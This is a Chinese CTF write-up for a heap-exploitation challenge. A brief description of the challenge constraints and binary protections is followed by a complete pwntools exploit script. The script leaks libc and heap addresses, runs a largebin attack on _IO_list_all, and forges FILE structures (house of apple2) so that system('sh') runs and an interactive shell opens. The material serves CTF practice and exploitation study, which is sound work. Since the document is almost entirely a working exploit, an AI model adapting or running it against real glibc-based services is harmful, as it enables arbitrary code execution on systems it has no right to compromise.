板子题,主要设了两个限制:1. add 时只能 add 0x500 – 0x520 大小的堆块;2. show 只能 show 出 8 个 Byte. house of apple2 梭就完了。
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
$ strings ./libc.so.6| grep "GNU"
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.8) stable release version 2.35.
Compiled by GNU CC version 11.4.0.
largebin attack + house of apple2
from pwn import *
libc = ELF('./libc.so.6')
elf = ELF('./pwn.orig')
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
local = 1
if local == 1:
io = process('./pwn.orig')
# gdb.attach(io, "b *$rebase(0x14d7)")
# gdb.attach(io, "b *0x7ffff7e1bc9f")
else:
io = remote("", )
def cmd(choice):
io.sendlineafter(b'> \n', str(choice).encode())
def add(idx, size, content):
cmd(1)
io.sendlineafter(b'yours Index: \n', str(idx).encode())
io.sendlineafter(b'yours Size: \n', str(size).encode())
io.sendafter(b'yours Content: \n', content)
def delete(idx):
cmd(2)
io.sendlineafter(b'yours Index: \n', str(idx).encode())
def show(idx):
cmd(4)
io.sendlineafter(b'yours Index: ', str(idx).encode())
def edit(idx, content):
cmd(3)
io.sendlineafter(b'yours Index: \n', str(idx).encode())
io.sendafter(b'yours Content: \n', content)
def pwn():
add(0, 0x510, b'a')
add(1, 0x500, b'b') # pad
add(2, 0x500, b'c')
add(12, 0x500, b'd') # pad
add(11, 0x520, b'd')
add(5, 0x500, b'd') # pad
delete(12)
delete(11)
add(3, 0x520, b'd')
add(4, 0x500, b'd')
# pause()
delete(0) # 0 into unsortedbin
show(0)
io.recvline()
leak_libc = u64(io.recvline()[:6].ljust(8, b'\x00'))
libc.address = leak_libc - 0x21ace0
success("leak_libc: " + hex(libc.address))
_IO_list_all = libc.address + 0x21b680
add(6, 0x520, b'e') # 0 into largebin
# pause()
delete(2) # 2 into unsortedbin
delete(4) # 4 into unsortedbin
show(4)
io.recvline()
leak_heap = u64(io.recvline()[:6].ljust(8, b'\x00'))
heap_base = leak_heap - 0xcc0
success("leak_heap: " + hex(heap_base))
payload = flat(
libc.address + 0x21b110,
libc.address + 0x21b110,
heap_base + 0x290,
_IO_list_all - 0x20
)
edit(0, payload)
# pause()
add(7, 0x500, b'f') # 2 is taken away
add(8, 0x520, b'g') # 4 into largebin, 0 -> 4
_IO_wfile_jumps = libc.address + 0x2170c0
system_addr = libc.sym['system']
fake_file_addr = heap_base + 0x1700
fake_wide_offset = 0x100
fake_wide_data = fake_file_addr + fake_wide_offset
fake_vtable_offset = 0x200
payload = flat({
# fake_IO_FILE
0x0: b" sh",
0x48: 0,
0x50: 0,
0x58: 0,
0x60: 0,
0x70: 1,
0x78: -1,
0x88: libc.address + 0x21ca60,
0xc0: 1,
0xd8: _IO_wfile_jumps - 0x40, # 动调找到偏移
0xa0: fake_wide_data,
# fake _IO_wide_data
fake_wide_offset + 0x18 : 0,
fake_wide_offset + 0x30 : 0,
fake_wide_offset + 0xe0 : fake_file_addr + 0x200,
# fake vtable
fake_vtable_offset + 0x68 : system_addr,
}, filler = b'\x00')
edit(11, p64(0)*2 + payload)
# pause()
cmd(1)
io.sendlineafter(b'yours Index: \n', b'16')
io.interactive()
pwn()